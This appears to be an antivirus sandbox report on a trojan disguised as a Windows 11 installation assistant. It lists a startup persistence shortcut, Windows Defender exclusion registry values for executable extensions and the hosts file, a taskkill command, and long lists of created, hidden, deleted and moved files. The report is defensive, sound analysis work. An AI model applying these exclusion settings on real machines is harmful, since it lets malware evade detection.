Trojan.Siggen18.59732

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

%APPDATA%\microsoft\windows\start menu\programs\startup\windows11installationassistant.lnk

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\soFtwAre\MICrosOFt\wiNdoWS defender\eXcLuSIons\eXtensIOnS] 'dLl' = '00000000'
[<HKLM>\SoftwAre\mIcroSofT\wINdowS deFeNder\exclusioNS\extenSIoNS] 'sCr' = '00000000'
[<HKLM>\SOfTware\MiCrosofT\wIndOws defender\eXclusiONS\eXTeNsionS] 'CMd' = '00000000'
[<HKLM>\SoFtwAre\MIcrosoft\WindoWs deFeNder\eXclUsiONS\eXteNSIOnS] 'exe' = '00000000'
[<HKLM>\sOFTWare\micrOsoFt\wINdoWS deFender\exCLusIONs\pAthS] '<DRIVERS>\etc\hOSTS' = '00000000'

Executes the following

'%WINDIR%\syswow64\taskkill.exe' /f /im "Windows11InstaIIation.scr"

Modifies file system

Creates the following files

%TEMP%\is-d4hvt.tmp\<File name>.tmp
%APPDATA%\windows11installationassistant\images\is-4qvjk.tmp
%APPDATA%\windows11installationassistant\images\is-kvl60.tmp
%APPDATA%\windows11installationassistant\images\is-ku1q7.tmp
%APPDATA%\windows11installationassistant\images\is-tpcof.tmp
%APPDATA%\windows11installationassistant\images\is-gk6e3.tmp
C:\tmp\.cmd
C:\tmp\.vbs
%TEMP%\is-is2pc.tmp\temp\.cmd
%TEMP%\autfc19.tmp
%APPDATA%\windows11installationassistant\images\is-16j1n.tmp
%APPDATA%\windows11installationassistant\images\is-fs3v0.tmp
%TEMP%\2w6q7b2q.tmp
%TEMP%\aut656.tmp
%TEMP%\2w0t1i6p.tmp
%TEMP%\aut676.tmp
%WINDIR%\temp\aut685.tmp
%TEMP%\aut697.tmp
%WINDIR%\temp\2w6t0i0p.tmp
%WINDIR%\temp\aut6b5.tmp
%WINDIR%\temp\aut6e5.tmp
%WINDIR%\temp\aut1045.tmp
%TEMP%\autfc3a.tmp
%TEMP%\autfc4a.tmp
%APPDATA%\windows11installationassistant\images\is-961hn.tmp
%APPDATA%\windows11installationassistant\images\is-k7pk5.tmp
%APPDATA%\windows11installationassistant\images\is-vft7m.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-sa8ah.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-5udrt.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-nv6o1.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-hrsur.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-a9l44.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-nh3eq.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-2ruli.tmp
%APPDATA%\windows11installationassistant\images\is-27gdf.tmp
%APPDATA%\windows11installationassistant\images\is-4a1k9.tmp
%APPDATA%\windows11installationassistant\images\is-4pq2k.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-eqm4n.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-8c87h.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-bgo3p.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-ijt32.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-jsk8n.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-am7j9.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-0idfb.tmp
%APPDATA%\windows11installationassistant\images\is-1rcvs.tmp
%APPDATA%\windows11installationassistant\is-m0t7r.tmp
%APPDATA%\windows11installationassistant\images\is-rkjpv.tmp
%APPDATA%\windows11installationassistant\images\is-f277n.tmp
%APPDATA%\windows11installationassistant\images\is-eotcr.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-4vqic.tmp
%WINDIR%\temp\4hbd2u8c.tmp
%WINDIR%\temp\aut1075.tmp
%WINDIR%\temp\aut10a5.tmp
%TEMP%\aut11fa.tmp
%WINDIR%\temp\aut3afd.tmp
%WINDIR%\temp\8izg7x6u.tmp
%WINDIR%\temp\aut3b3c.tmp
%WINDIR%\temp\aut3b5c.tmp
%WINDIR%\temp\aut41ff.tmp
%WINDIR%\temp\1x9o6w0k.tmp
%WINDIR%\temp\aut424e.tmp
%WINDIR%\temp\aut426e.tmp
%WINDIR%\temp\aut427c.tmp
%WINDIR%\temp\2t2l1m2t.tmp
%WINDIR%\temp\aut428c.tmp
%WINDIR%\temp\aut430a.tmp
%APPDATA%\windows11installationassistant\.cmd
%APPDATA%\windows11installationassistant\.vbs
%WINDIR%\temp\aut5254.tmp
%WINDIR%\temp\4fbo8g6u.tmp
%WINDIR%\temp\aut53db.tmp
%WINDIR%\temp\aut53eb.tmp
%LOCALAPPDATA%\orange group\windows 11 compatibility checker\windowscritical.png
%LOCALAPPDATA%\orange group\windows 11 compatibility checker\windowswarning.png
%LOCALAPPDATA%\orange group\windows 11 compatibility checker\windowssuccess.png
%LOCALAPPDATA%\orange group\windows 11 compatibility checker\windowshelp.png
%LOCALAPPDATA%\orange group\windows 11 compatibility checker\pfp.png
%TEMP%\aut37b4.tmp
%TEMP%\2g8x4u8z.tmp
%TEMP%\aut3794.tmp
%TEMP%\aut3784.tmp
%TEMP%\1d1u0c4b.tmp
%TEMP%\aut121a.tmp
%TEMP%\aut123a.tmp
%WINDIR%\temp\aut1728.tmp
%WINDIR%\temp\1q2u0i4g.tmp
%WINDIR%\temp\aut1758.tmp
%WINDIR%\temp\aut1778.tmp
%WINDIR%\temp\aut258a.tmp
%WINDIR%\temp\1i0y4x4w.tmp
%WINDIR%\temp\aut25aa.tmp
%WINDIR%\temp\aut25ba.tmp
%TEMP%\aut2645.tmp
%TEMP%\1i4y7x6w.tmp
%TEMP%\aut26f1.tmp
%TEMP%\aut2712.tmp
%WINDIR%\temp\aut2a89.tmp
%WINDIR%\temp\1v8c7k6t.tmp
%WINDIR%\temp\aut2a99.tmp
%WINDIR%\temp\aut2ad9.tmp
%WINDIR%\temp\aut314c.tmp
%WINDIR%\temp\2p8j9w2t.tmp
%WINDIR%\temp\aut316d.tmp
%WINDIR%\temp\aut318d.tmp
%LOCALAPPDATA%\orange group\windows 11 compatibility checker\windows 11.png
%APPDATA%\windows11installationassistant\images\is-t2387.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-p4525.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-3rlip.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-prhpb.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-eeq9r.tmp
%APPDATA%\windows11installationassistant\is-bmmhl.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-8142v.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-mmhcr.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-m3bue.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-tkgnk.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-d8grq.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-vi2fu.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-vb9qd.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-6313m.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-k4ngt.tmp
%APPDATA%\windows11installationassistant\images\is-ri6rc.tmp
%APPDATA%\windows11installationassistant\images\is-intt1.tmp
%APPDATA%\windows11installationassistant\images\is-v4bul.tmp
%APPDATA%\windows11installationassistant\images\is-vj050.tmp
%TEMP%\is-is2pc.tmp\temp\is-ukirs.tmp
%APPDATA%\windows11installationassistant\images\is-2lt2i.tmp
%APPDATA%\windows11installationassistant\images\is-7nn97.tmp
%APPDATA%\windows11installationassistant\images\is-lm64r.tmp
%APPDATA%\windows11installationassistant\images\is-crji7.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-lkp31.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-ro2vs.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-e70rd.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-k0egl.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-bf8g5.tmp
%TEMP%\is-29vav.tmp\_isetup\_shfoldr.dll
%TEMP%\is-l0l3e.tmp\<File name>.tmp
%TEMP%\is-is2pc.tmp\_isetup\_setup64.tmp
%TEMP%\is-is2pc.tmp\_isetup\_shfoldr.dll
%TEMP%\is-is2pc.tmp\is-l1e80.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-p1kud.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-pj1gl.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-c5vn5.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-n3rg0.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-kl65c.tmp
%TEMP%\is-29vav.tmp\_isetup\_setup64.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-np2ek.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-08h3c.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-tjtlb.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-n6h9c.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-c63go.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-5rn5t.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-6ms10.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-l38uk.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-ump21.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-9quvb.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-ehff3.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-tkqk1.tmp
%APPDATA%\windows11installationassistant\images\is-i3e57.tmp
%APPDATA%\windows11installationassistant\images\is-f2glg.tmp
%APPDATA%\windows11installationassistant\images\is-geot8.tmp
%APPDATA%\windows11installationassistant\images\is-vukj4.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-12aol.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-s68th.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-peo71.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-lq7cr.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-in8p6.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-7i336.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-8sfic.tmp
%APPDATA%\windows11installationassistant\images\is-7b2gk.tmp
%APPDATA%\windows11installationassistant\images\is-1jg32.tmp
%APPDATA%\windows11installationassistant\images\is-cu67g.tmp
%APPDATA%\windows11installationassistant\images\is-c6o6u.tmp
%APPDATA%\windows11installationassistant\images\is-a2aid.tmp
%APPDATA%\windows11installationassistant\images\is-hm8j0.tmp
%APPDATA%\windows11installationassistant\images\is-grhq7.tmp
%APPDATA%\windows11installationassistant\images\is-5a7jf.tmp
%APPDATA%\windows11installationassistant\images\is-nm2rv.tmp
%APPDATA%\windows11installationassistant\images\is-cfqpp.tmp
%APPDATA%\windows11installationassistant\images\is-848f1.tmp
%APPDATA%\windows11installationassistant\images\is-el2ql.tmp
%APPDATA%\windows11installationassistant\images\is-87sr1.tmp
%APPDATA%\windows11installationassistant\images\is-5dls4.tmp
%APPDATA%\windows11installationassistant\images\is-jodtp.tmp
%APPDATA%\windows11installationassistant\images\is-4nkjb.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-s2m1b.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-fetao.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-iuma4.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-dv8on.tmp
%APPDATA%\windows11installationassistant\images\is-e23co.tmp
%APPDATA%\windows11installationassistant\images\is-ccba8.tmp
%APPDATA%\windows11installationassistant\images\is-a1gfs.tmp
%APPDATA%\windows11installationassistant\images\is-gf67b.tmp
%APPDATA%\windows11installationassistant\images\is-ma64u.tmp
%APPDATA%\windows11installationassistant\images\is-fie25.tmp
%APPDATA%\windows11installationassistant\images\is-vj72h.tmp
C:\tmp\is-c33bl.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-itkth.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-b69c2.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-p26uv.tmp
%APPDATA%\windows11installationassistant\icons\new blue\is-ajngq.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-341a8.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-spdal.tmp
C:\tmp\is-90oit.tmp
%APPDATA%\windows11installationassistant\images\is-r24rh.tmp
%APPDATA%\windows11installationassistant\images\is-4ve2r.tmp
%APPDATA%\windows11installationassistant\images\is-h5vkm.tmp
%APPDATA%\windows11installationassistant\images\is-o0gg4.tmp
%APPDATA%\windows11installationassistant\images\is-aga4j.tmp
%APPDATA%\windows11installationassistant\images\is-tad33.tmp
%APPDATA%\windows11installationassistant\images\is-a4hku.tmp
%APPDATA%\windows11installationassistant\icons\classic\is-mutcb.tmp
%APPDATA%\windows11installationassistant\images\is-no61c.tmp
%LOCALAPPDATA%\orange group\windows 11 compatibility checker\cpus.txt

Sets the 'hidden' attribute to the following files

%APPDATA%\windows11installationassistant\ar.xml
%TEMP%\is-is2pc.tmp\temp\r.exe
C:\tmp\ico1.ico
C:\tmp\pbd.dll
%APPDATA%\windows11installationassistant\windows11instaiiation.scr
%APPDATA%\windows11installationassistant\.cmd
%APPDATA%\windows11installationassistant\.vbs

Deletes the following files

%TEMP%\is-29vav.tmp\_isetup\_setup64.tmp
%WINDIR%\temp\aut41ff.tmp
%TEMP%\is-is2pc.tmp\temp\.cmd
%WINDIR%\temp\8izg7x6u.tmp
%WINDIR%\temp\aut3b5c.tmp
%WINDIR%\temp\aut3b3c.tmp
%WINDIR%\temp\aut3afd.tmp
%WINDIR%\temp\aut2ad9.tmp
%TEMP%\2g8x4u8z.tmp
%TEMP%\aut3794.tmp
%TEMP%\aut3784.tmp
%WINDIR%\temp\2p8j9w2t.tmp
%WINDIR%\temp\aut318d.tmp
%WINDIR%\temp\aut316d.tmp
%WINDIR%\temp\aut314c.tmp
%TEMP%\aut37b4.tmp
%WINDIR%\temp\1v8c7k6t.tmp
%WINDIR%\temp\aut424e.tmp
%WINDIR%\temp\aut53eb.tmp
%TEMP%\is-is2pc.tmp\_isetup\_setup64.tmp
%TEMP%\is-is2pc.tmp\temp\r.exe
C:\tmp\pbd.dll
C:\tmp\ico1.ico
%APPDATA%\windows11installationassistant\ar.xml
%TEMP%\is-is2pc.tmp\windows.11.compatibility.checker.exe
%WINDIR%\temp\aut427c.tmp
%WINDIR%\temp\aut426e.tmp
%WINDIR%\temp\aut53db.tmp
%WINDIR%\temp\aut5254.tmp
%WINDIR%\temp\2t2l1m2t.tmp
%WINDIR%\temp\aut430a.tmp
%WINDIR%\temp\aut428c.tmp
%WINDIR%\temp\1x9o6w0k.tmp
%WINDIR%\temp\4fbo8g6u.tmp
%WINDIR%\temp\aut2a99.tmp
%WINDIR%\temp\aut2a89.tmp
%TEMP%\1i4y7x6w.tmp
%WINDIR%\temp\aut6e5.tmp
%WINDIR%\temp\aut6b5.tmp
%TEMP%\2w0t1i6p.tmp
%TEMP%\aut697.tmp
%WINDIR%\temp\aut685.tmp
%WINDIR%\temp\aut1045.tmp
%TEMP%\aut676.tmp
%TEMP%\2w6q7b2q.tmp
%TEMP%\autfc4a.tmp
%TEMP%\autfc3a.tmp
%TEMP%\autfc19.tmp
%TEMP%\is-d4hvt.tmp\<File name>.tmp
%TEMP%\is-29vav.tmp\_isetup\_shfoldr.dll
%TEMP%\aut656.tmp
%WINDIR%\temp\aut1075.tmp
%WINDIR%\temp\2w6t0i0p.tmp
%WINDIR%\temp\aut10a5.tmp
%TEMP%\aut2712.tmp
%WINDIR%\temp\1q2u0i4g.tmp
%TEMP%\aut26f1.tmp
%TEMP%\aut2645.tmp
%WINDIR%\temp\1i0y4x4w.tmp
%WINDIR%\temp\aut25ba.tmp
%WINDIR%\temp\aut25aa.tmp
%WINDIR%\temp\aut258a.tmp
%WINDIR%\temp\aut1778.tmp
%WINDIR%\temp\4hbd2u8c.tmp
%WINDIR%\temp\aut1758.tmp
%WINDIR%\temp\aut1728.tmp
%TEMP%\1d1u0c4b.tmp
%TEMP%\aut123a.tmp
%TEMP%\aut121a.tmp
%TEMP%\aut11fa.tmp
%TEMP%\is-is2pc.tmp\_isetup\_shfoldr.dll
%TEMP%\is-l0l3e.tmp\<File name>.tmp

Moves the following files

from %TEMP%\is-is2pc.tmp\is-l1e80.tmp to %TEMP%\is-is2pc.tmp\windows.11.compatibility.checker.exe
from %APPDATA%\windows11installationassistant\images\is-no61c.tmp to %APPDATA%\windows11installationassistant\images\menuicon@350.png
from %APPDATA%\windows11installationassistant\images\is-4nkjb.tmp to %APPDATA%\windows11installationassistant\images\menuicon@325.png
from %APPDATA%\windows11installationassistant\images\is-jodtp.tmp to %APPDATA%\windows11installationassistant\images\menuicon@300.png
from %APPDATA%\windows11installationassistant\images\is-5dls4.tmp to %APPDATA%\windows11installationassistant\images\menuicon@275.png
from %APPDATA%\windows11installationassistant\images\is-87sr1.tmp to %APPDATA%\windows11installationassistant\images\menuicon@250.png
from %APPDATA%\windows11installationassistant\images\is-el2ql.tmp to %APPDATA%\windows11installationassistant\images\menuicon@225.png
from %APPDATA%\windows11installationassistant\images\is-848f1.tmp to %APPDATA%\windows11installationassistant\images\menuicon@200.png
from %APPDATA%\windows11installationassistant\images\is-cfqpp.tmp to %APPDATA%\windows11installationassistant\images\menuicon@175.png
from %APPDATA%\windows11installationassistant\images\is-nm2rv.tmp to %APPDATA%\windows11installationassistant\images\menuicon@150.png
from %APPDATA%\windows11installationassistant\images\is-5a7jf.tmp to %APPDATA%\windows11installationassistant\images\menuicon@125.png
from %APPDATA%\windows11installationassistant\images\is-grhq7.tmp to %APPDATA%\windows11installationassistant\images\menuicon@100.png
from %APPDATA%\windows11installationassistant\images\is-hm8j0.tmp to %APPDATA%\windows11installationassistant\images\foldericon@75-.png
from %APPDATA%\windows11installationassistant\images\is-a2aid.tmp to %APPDATA%\windows11installationassistant\images\foldericon@350.png
from %APPDATA%\windows11installationassistant\images\is-c6o6u.tmp to %APPDATA%\windows11installationassistant\images\foldericon@325.png
from %APPDATA%\windows11installationassistant\icons\classic\is-3rlip.tmp to %APPDATA%\windows11installationassistant\icons\classic\d16.ico
from %APPDATA%\windows11installationassistant\images\is-cu67g.tmp to %APPDATA%\windows11installationassistant\images\foldericon@300.png
from %APPDATA%\windows11installationassistant\images\is-7b2gk.tmp to %APPDATA%\windows11installationassistant\images\fencessmall@200.png
from %APPDATA%\windows11installationassistant\icons\classic\is-8sfic.tmp to %APPDATA%\windows11installationassistant\icons\classic\d20.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-7i336.tmp to %APPDATA%\windows11installationassistant\icons\classic\d2.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-in8p6.tmp to %APPDATA%\windows11installationassistant\icons\classic\d1a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-lq7cr.tmp to %APPDATA%\windows11installationassistant\icons\classic\d19a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-peo71.tmp to %APPDATA%\windows11installationassistant\icons\classic\d5a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-s68th.tmp to %APPDATA%\windows11installationassistant\icons\classic\d5.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-12aol.tmp to %APPDATA%\windows11installationassistant\icons\classic\prev.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-s2m1b.tmp to %APPDATA%\windows11installationassistant\icons\classic\next.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-iuma4.tmp to %APPDATA%\windows11installationassistant\icons\classic\d9a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-fetao.tmp to %APPDATA%\windows11installationassistant\icons\classic\d9.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-dv8on.tmp to %APPDATA%\windows11installationassistant\icons\classic\d8a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-mutcb.tmp to %APPDATA%\windows11installationassistant\icons\classic\d8.ico
from %APPDATA%\windows11installationassistant\images\is-a4hku.tmp to %APPDATA%\windows11installationassistant\images\fencessmall@150.png
from %APPDATA%\windows11installationassistant\images\is-1jg32.tmp to %APPDATA%\windows11installationassistant\images\foldericon@100.png
from %APPDATA%\windows11installationassistant\icons\classic\is-jsk8n.tmp to %APPDATA%\windows11installationassistant\icons\classic\d4.ico
from %APPDATA%\windows11installationassistant\images\is-tpcof.tmp to %APPDATA%\windows11installationassistant\images\pagerbullets.png
from %APPDATA%\windows11installationassistant\icons\classic\is-eqm4n.tmp to %APPDATA%\windows11installationassistant\icons\classic\d15.ico
from %APPDATA%\windows11installationassistant\images\is-ku1q7.tmp to %APPDATA%\windows11installationassistant\images\pagerbullet@100.png
from %APPDATA%\windows11installationassistant\images\is-kvl60.tmp to %APPDATA%\windows11installationassistant\images\pagerbullet.png
from %APPDATA%\windows11installationassistant\images\is-4qvjk.tmp to %APPDATA%\windows11installationassistant\images\pagerbackr@100.png
from %APPDATA%\windows11installationassistant\images\is-fs3v0.tmp to %APPDATA%\windows11installationassistant\images\pagerbackc.png
from %APPDATA%\windows11installationassistant\images\is-16j1n.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@350.png
from %APPDATA%\windows11installationassistant\images\is-961hn.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@325.png
from %APPDATA%\windows11installationassistant\images\is-k7pk5.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@300.png
from %APPDATA%\windows11installationassistant\images\is-vft7m.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@275.png
from %APPDATA%\windows11installationassistant\images\is-eotcr.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@250.png
from %APPDATA%\windows11installationassistant\images\is-f277n.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@225.png
from %APPDATA%\windows11installationassistant\images\is-rkjpv.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@200.png
from %APPDATA%\windows11installationassistant\is-m0t7r.tmp to %APPDATA%\windows11installationassistant\windows11instaiiation.scr
from %APPDATA%\windows11installationassistant\images\is-1rcvs.tmp to %APPDATA%\windows11installationassistant\images\fencessmall@175.png
from %APPDATA%\windows11installationassistant\icons\new blue\is-0idfb.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d13.ico
from %APPDATA%\windows11installationassistant\images\is-tad33.tmp to %APPDATA%\windows11installationassistant\images\fencessmall@125.png
from %APPDATA%\windows11installationassistant\icons\classic\is-am7j9.tmp to %APPDATA%\windows11installationassistant\icons\classic\d4a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-ijt32.tmp to %APPDATA%\windows11installationassistant\icons\classic\d3a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-bgo3p.tmp to %APPDATA%\windows11installationassistant\icons\classic\d3.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-4vqic.tmp to %APPDATA%\windows11installationassistant\icons\classic\d2a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-8c87h.tmp to %APPDATA%\windows11installationassistant\icons\classic\d20a.ico
from %APPDATA%\windows11installationassistant\images\is-4pq2k.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@175.png
from %APPDATA%\windows11installationassistant\images\is-4a1k9.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@150.png
from %APPDATA%\windows11installationassistant\images\is-27gdf.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@125.png
from %APPDATA%\windows11installationassistant\icons\new blue\is-2ruli.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d19a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-nh3eq.tmp to %APPDATA%\windows11installationassistant\icons\classic\d19.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-a9l44.tmp to %APPDATA%\windows11installationassistant\icons\classic\d18a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-hrsur.tmp to %APPDATA%\windows11installationassistant\icons\classic\d18.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-nv6o1.tmp to %APPDATA%\windows11installationassistant\icons\classic\d17a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-5udrt.tmp to %APPDATA%\windows11installationassistant\icons\classic\d17.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-sa8ah.tmp to %APPDATA%\windows11installationassistant\icons\classic\d15a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-p4525.tmp to %APPDATA%\windows11installationassistant\icons\classic\d16a.ico
from %APPDATA%\windows11installationassistant\images\is-t2387.tmp to %APPDATA%\windows11installationassistant\images\navigateupicon@100.png
from %APPDATA%\windows11installationassistant\images\is-aga4j.tmp to %APPDATA%\windows11installationassistant\images\fencessmall@100.png
from %APPDATA%\windows11installationassistant\icons\new blue\is-lkp31.tmp to %APPDATA%\windows11installationassistant\icons\new blue\next.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-d8grq.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d8a.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-tkgnk.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d8.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-m3bue.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d7a.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-mmhcr.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d7.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-8142v.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d6a.ico
from %APPDATA%\windows11installationassistant\is-bmmhl.tmp to %APPDATA%\windows11installationassistant\ar.xml
from %APPDATA%\windows11installationassistant\icons\new blue\is-eeq9r.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d6.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-prhpb.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d18a.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-6313m.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d18.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-vb9qd.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d17a.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-e70rd.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d17.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-k0egl.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d16a.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-bf8g5.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d16.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-ehff3.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d19.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-vi2fu.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d9.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-9quvb.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d15a.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-l38uk.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d14a.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-6ms10.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d14.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-5rn5t.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d13a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-c63go.tmp to %APPDATA%\windows11installationassistant\icons\classic\d14a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-n6h9c.tmp to %APPDATA%\windows11installationassistant\icons\classic\d14.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-tjtlb.tmp to %APPDATA%\windows11installationassistant\icons\classic\d13a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-08h3c.tmp to %APPDATA%\windows11installationassistant\icons\classic\d13.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-tkqk1.tmp to %APPDATA%\windows11installationassistant\icons\classic\d12a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-np2ek.tmp to %APPDATA%\windows11installationassistant\icons\classic\d12.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-kl65c.tmp to %APPDATA%\windows11installationassistant\icons\classic\d11a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-n3rg0.tmp to %APPDATA%\windows11installationassistant\icons\classic\d11.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-c5vn5.tmp to %APPDATA%\windows11installationassistant\icons\classic\d10a.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-pj1gl.tmp to %APPDATA%\windows11installationassistant\icons\classic\d10.ico
from %APPDATA%\windows11installationassistant\icons\classic\is-p1kud.tmp to %APPDATA%\windows11installationassistant\icons\classic\d1.ico
from %APPDATA%\windows11installationassistant\icons\new blue\is-ump21.tmp to %APPDATA%\windows11installationassistant\icons\new blue\d15.ico
from %APPDATA%\windows11installationassistant\images\is-ccba8.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@100.png
from %APPDATA%\windows11installationassistant\images\is-h5vkm.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@325.png
from %APPDATA%\windows11installationassistant\icons\new blue\is-ro2vs.tmp to %APPDATA%\windows11installationassistant\icons\new blue\prev.ico
from %APPDATA%\windows11installationassistant\images\is-4ve2r.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@300.png
from %APPDATA%\windows11installationassistant\images\is-r24rh.tmp to %APPDATA%\windows11installationassistant\images\dropdownicon@250.png
from C:\tmp\is-90oit.tmp to C:\tmp\pbd.dll
